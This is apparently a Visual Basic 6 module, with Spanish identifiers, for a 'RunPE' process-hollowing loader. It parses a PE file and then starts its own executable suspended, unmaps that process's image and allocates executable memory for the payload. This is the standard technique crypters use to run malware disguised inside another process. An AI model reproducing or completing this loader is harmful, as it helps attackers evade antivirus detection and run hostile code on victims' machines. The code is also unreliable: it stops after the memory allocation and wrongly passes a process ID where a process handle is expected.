Option Explicit
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function NtUnmapViewOfSection Lib "NTDLL.dll" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
Const IMAGE_SIZEOF_SHORT_NAME = 8
Private Type IMAGE_SECTION_HEADER
SecName As String * IMAGE_SIZEOF_SHORT_NAME
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type
Public Function EjecutarPE(ByVal Ruta As String) As Boolean
On Error GoTo error
Dim IDH As IMAGE_DOS_HEADER
Dim INH As IMAGE_NT_HEADERS
Dim ISH() As IMAGE_SECTION_HEADER
Dim IDD As IMAGE_DATA_DIRECTORY
Dim Datos() As Byte
ReDim Datos(FileLen(Ruta))
Open Ruta For Binary As #1
Get #1, , Datos
Close #1
Call CopyMemory(IDH, Datos(0), Len(IDH))
Call CopyMemory(INH, Datos(IDH.e_lfanew), Len(INH))
Dim MYe_lfanew As Long: MYe_lfanew = IDH.e_lfanew
Dim MYImageBase As Long: MYImageBase = INH.OptionalHeader.ImageBase
Dim MYSizeOfImage As Long: MYSizeOfImage = INH.OptionalHeader.SizeOfImage
Dim MYSizeOfHeaders As Long: MYSizeOfHeaders = INH.OptionalHeader.SizeOfHeaders
Dim MYAddressOfEntryPoint As Long: MYAddressOfEntryPoint = INH.OptionalHeader.AddressOfEntryPoint
Dim MYNumberOfSections As Integer: MYNumberOfSections = INH.FileHeader.NumberOfSections
Dim MYVirtualAddress As Long
Dim MYPointerToRawData As Long
Dim MYSizeOfRawData As Long
Dim ManijaProceso As Long
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFO
Dim NTUN As Long
Dim Espacio As Long
Dim IdProc As Long
Call CreateProcessA(App.Path & "\" & App.EXEName & ".exe", 0, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi)
ManijaProceso = pi.dwProcessId
NTUN = NtUnmapViewOfSection(ManijaProceso, MYImageBase)
Espacio = VirtualAllocEx(ManijaProceso, MYImageBase, MYSizeOfImage, &H1000& Or &H2000&, &H40)
Exit Function
error:
EjecutarPE = False
End Function